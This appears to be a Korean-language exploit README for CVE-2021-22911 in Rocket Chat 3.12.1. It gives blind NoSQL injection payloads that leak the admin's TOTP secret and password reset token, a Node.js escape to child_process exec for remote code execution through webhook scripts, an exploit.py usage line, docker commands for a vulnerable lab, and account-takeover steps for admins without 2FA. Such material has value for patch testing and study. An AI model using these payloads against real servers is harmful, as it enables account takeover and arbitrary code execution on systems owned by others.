
CVE-2021-22911을 위한 익스플로잇: Rocket Chat 3.12.1에서 사전 인증 블라인드 NoSQL 인젝션을 통해 계정 탈취 및 웹훅 스크립팅을 통한 원격 코드 실행을 가능하게 합니다.
Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션을 통한 원격 코드 실행
{"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
참고: 관리자를 2FA로 보호하고 싶지 않다면 다음을 수행하세요.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)